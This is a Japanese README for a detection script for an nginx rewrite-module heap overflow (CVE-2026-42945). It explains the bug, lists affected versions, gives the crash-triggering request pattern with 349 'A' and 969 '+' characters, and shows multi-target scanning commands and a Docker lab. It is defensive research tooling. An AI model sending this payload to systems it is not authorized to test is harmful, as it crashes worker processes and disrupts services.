
CVE-2026-42945 (NGINX Rift) の行動検出スクリプト — ngx_http_rewrite_module におけるヒープオーバーフロー。RCE はなく、クラッシュベースの検出のみ。
CVE-2026-42945(NGINX Rift)の行動検出スクリプト — 2008年からnginxに存在するngx_http_rewrite_moduleのヒープバッファオーバーフロー。
このツールは許可されたセキュリティテストおよび研究のみを目的としています。 自分が所有しているか、明示的な書面による許可を得たシステムに対してのみ実行してください。 無断使用はお住まいの地域のコンピュータ犯罪法に違反する可能性があります。 作者は、このツールの誤用またはそれによって生じた損害について一切責任を負いません。
CVE-2026-42945 は、バージョン 0.6.27(2008年)で導入され、約18年間存在していた nginx のリライトスクリプトエンジン(ngx_http_rewrite_module)におけるヒープバッファオーバーフローです。
バグはリライトエンジンの2つのパスの不一致に起因します。
is_args = 0 を確認 → 小さなバッファを割り当てis_args = 1 を確認 → ngx_escape_uri を呼び出し、エスケープ可能なバイト(+など)を3倍に展開 → ヒープバッファをオーバーフローこれにより、認証なしのリモートコード実行が可能になります。
影響を受けるバージョン:
| 製品 | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0+ |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
参考文献:
このスクリプトはRCEを試みません。PoCのフローを模倣し、生のソケットを使用します。
GET /api/<349×A><969×+> を送信検出はワーカープロセスのクラッシュに依存します。nginxマスターは直ちにワーカーを再生成しますが、短い中断が発生します。本番環境では注意して使用してください。
# 単一ターゲット(HTTP)
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 80
# 単一ターゲット(HTTPS)
python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
# ターゲットリスト
python3 detect-CVE-2026-42945.py -l targets.txt
# スレッドと出力ファイルを使用
python3 detect-CVE-2026-42945.py -l targets.txt --threads 10 -o vulnerable.txt
# 信頼性の低いターゲットに対して試行回数を増やす
python3 detect-CVE-2026-42945.py --host 10.0.0.1 --port 8080 --tries 5
targets.txt 形式 — 1行に1つ:
http://example.com
https://example.com:8443
192.168.1.1
192.168.1.1:8080
オプション:
--host 単一ターゲットのホスト
--port ポート(デフォルト: 80、--tls使用時は443)
--tls 単一ターゲットにTLS/HTTPSを使用
-l, --list ターゲットリストを含むファイル
--tries ターゲットあたりの検出試行回数(デフォルト: 3)
--threads リストスキャン時の同時スレッド数(デフォルト: 5)
-o, --output 脆弱なターゲットをCSVファイルに保存
[*] CVE-2026-42945 NGINX Rift Detection | targets=2 threads=5 tries=3
[*] http://192.168.1.1:80 - nginx/1.28.0
[*] http://192.168.1.2:8080 - nginx/1.31.0
[!!!] VULNERABLE | http://192.168.1.1:80 | nginx/1.28.0 | worker crash (trigger connection closed — worker respawned)
[+] http://192.168.1.2:8080 - not vulnerable (or timing miss, try --tries 5)
==================================================
[*] Scan complete. 2 targets scanned.
[!!!] 1 VULNERABLE target(s):
http://192.168.1.1:80 (nginx/1.28.0)
==================================================
元のリポジトリにはDockerラボ環境が含まれています:
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
chmod +x setup.sh && ./setup.sh
docker compose -f env/docker-compose.yml up -d
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321
MIT — LICENSEを参照
元の脆弱性研究とPoC: DepthFirstDisclosures